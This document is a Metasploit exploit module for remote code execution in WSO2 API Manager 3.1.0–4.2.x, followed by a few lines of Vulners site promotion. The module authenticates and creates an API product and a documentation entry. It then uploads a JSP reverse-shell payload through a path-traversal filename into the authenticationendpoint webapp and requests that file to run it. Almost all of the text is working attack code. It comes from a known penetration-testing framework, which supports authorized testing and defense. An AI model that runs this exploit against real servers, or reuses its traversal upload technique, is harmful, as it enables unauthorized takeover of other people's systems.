##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
attr_accessor :bearer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution',
'Description' => %q{
A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
},
'Author' => [
'Siebene@ <@Siebene7>', # Discovery
'Heyder Andrade <@HeyderAndrade>', # metasploit module
'Redway Security <redwaysecurity.com>' # Writeup and PoC
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC
[ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup
[ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ]
],
'DefaultOptions' => {
'Payload' => 'java/jsp_shell_reverse_tcp',
'SSL' => true,
'RPORT' => 9443
},
'Platform' => %w[linux win],
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
[
'Automatic', {}
],
[
'WSO2 API Manager (3.1.0 - 4.0.0)', {
'min_version' => '3.1.0',
'max_version' => '4.0.9',
'api_version' => 'v2'
},
],
[
'WSO2 API Manager (4.1.0)', {
'min_version' => '4.1.0',
'max_version' => '4.1.9',
'api_version' => 'v3'
}
],
[
'WSO2 API Manager (4.2.0)', {
'min_version' => '4.2.0',
'max_version' => '4.2.9',
'api_version' => 'v4'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-05-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']),
OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']),
OptString.new('HttpPassword', [true, 'WSO2 API manager password', ''])
]
)
end
def check
vprint_status('Checking target...')
begin
authenticate
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown('Could not authenticate to the target')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'services', 'Version'),
'method' => 'GET',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return CheckCode::Unknown('Target did not respond as expected; it may not be running WSO2 API Manager') unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/
xml = res.get_xml_document
xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/)
version = Rex::Version.new ::Regexp.last_match(1)
return CheckCode::Unknown('Unable to determine version') unless version
return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?(
Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9')
)
if target.name == 'Automatic'
# Find the target based on the detected version
selected_target_index = nil
targets.each_with_index do |t, idx|
if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version']))
selected_target_index = idx
break
end
end
return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index
# Set the target
datastore['TARGET'] = selected_target_index
vprint_status("Automatically selected target: #{target.name} for version #{version}")
else
vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?(
Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version'])
)
end
report_vuln(
host: rhost,
name: name,
refs: references,
info: [version]
)
return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.")
end
def authenticate
nounce = nil
opts = {
'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'),
'method' => 'GET',
'headers' => {
'Connection' => 'keep-alive'
},
'keep_cookies' => true
}
res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth
if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/)
vprint_status('Got session nonce')
nounce = ::Regexp.last_match(1)
end
fail_with(Failure::UnexpectedReply, 'Failed to authenticate. Could not get session nonce') unless nounce
auth_data = {
'usernameUserInput' => datastore['HttpUsername'],
'username' => datastore['HttpUsername'],
'password' => datastore['HttpPassword'],
'sessionDataKey' => nounce
}
opts = {
'uri' => normalize_uri(target_uri.path, '/commonauth'),
'method' => 'POST',
'headers' => {
'Connection' => 'keep-alive'
},
'keep_cookies' => true,
'vars_post' => auth_data
}
res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth
if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/)
vprint_status('Got bearer token')
self.bearer = ::Regexp.last_match(1)
end
fail_with(Failure::UnexpectedReply, 'Authentication attempt failed. Could not get bearer token') unless bearer
print_good('Authentication successful')
end
def list_product_api
vprint_status('Listing products APIs...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
'vars_get' => {
'limit' => 10,
'offset' => 0
},
'method' => 'GET',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200
api_list = res.get_json_document['list']
if api_list.empty?
print_error('No Products API available')
print_status('Trying to create an API...')
api_list = [create_product_api]
end
return api_list
end
def create_api
api_data = {
'name' => Faker::App.name,
'description' => Faker::Lorem.sentence,
'context' => "/#{Faker::Internet.slug}",
'version' => Faker::App.version,
'transport' => ['http', 'https'],
'tags' => [Faker::ProgrammingLanguage.name],
'policies' => ['Unlimited'],
'securityScheme' => ['oauth2'],
'visibility' => 'PUBLIC',
'businessInformation' => {
'businessOwner' => Faker::Name.name,
'businessOwnerEmail' => Faker::Internet.email,
'technicalOwner' => Faker::Name.name,
'technicalOwnerEmail' => Faker::Internet.email
},
'endpointConfig' => {
'endpoint_type' => 'http',
'sandbox_endpoints' => {
'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
},
'production_endpoints' => {
'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
}
},
'operations' => [
{
'target' => "/#{Faker::Internet.slug}",
'verb' => 'GET',
'throttlingPolicy' => 'Unlimited',
'authType' => 'Application & Application User'
}
]
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => 'application/json',
'data' => api_data.to_json
)
fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201
print_good('API created successfully')
return res.get_json_document
end
def create_product_api
@api_id = create_api['id']
product_api_data = {
'name' => Faker::App.name,
'context' => Faker::Internet.slug,
'policies' => ['Unlimited'],
'apis' => [
{
'name' => '',
'apiId' => @api_id,
'operations' => [],
'version' => '1.0.0'
}
],
'transport' => ['http', 'https']
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => 'application/json',
'data' => product_api_data.to_json
)
fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201
@api_created = true
print_good('API Product created successfully')
return res.get_json_document
end
def create_document(api_id)
doc_data = {
'name' => Rex::Text.rand_text_alpha(4..7),
'type' => 'HOWTO',
'summary' => Faker::Lorem.sentence,
'sourceType' => 'FILE',
'visibility' => 'API_LEVEL'
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => 'application/json',
'data' => doc_data.to_json
)
unless res&.code == 201
vprint_error("Failed to create document for API #{api_id}")
return
end
print_good('Document created successfully')
return res.get_json_document['documentId']
end
def upload_payload(api_id, doc_id)
print_status('Uploading payload...')
post_data = Rex::MIME::Message.new
post_data.bound = rand_text_numeric(32)
post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'),
'method' => 'POST',
'headers' => {
'Authorization' => "Bearer #{bearer}"
},
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201
register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}")
print_good("Payload uploaded successfully. File: #{jsp_filename}")
return res
end
def execute_payload
print_status('Executing payload... ')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200
print_good('Payload executed successfully')
handler
end
def exploit
authenticate unless bearer
api_avaliable = list_product_api
api_avaliable.each do |product_api|
@product_api_id = product_api['id']
@doc_id = create_document(@product_api_id)
next unless @doc_id
res = upload_payload(@product_api_id, @doc_id)
if res&.code == 201
execute_payload
break
end
end
end
def cleanup
return unless session_created?
super
# If we have created the API, we need to delete it; thus the documentation
return delele_product_api && delele_api if @api_created
# If the API was already there, we deleted only the documentation.
delete_document
end
def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
end
def delete_document
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id),
'method' => 'DELETE',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return res&.code == 200
end
def delele_api
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id),
'method' => 'DELETE',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return res&.code == 200
end
def delele_product_api
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id),
'method' => 'DELETE',
'headers' => {
'Authorization' => "Bearer #{bearer}"
}
)
return res&.code == 200
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation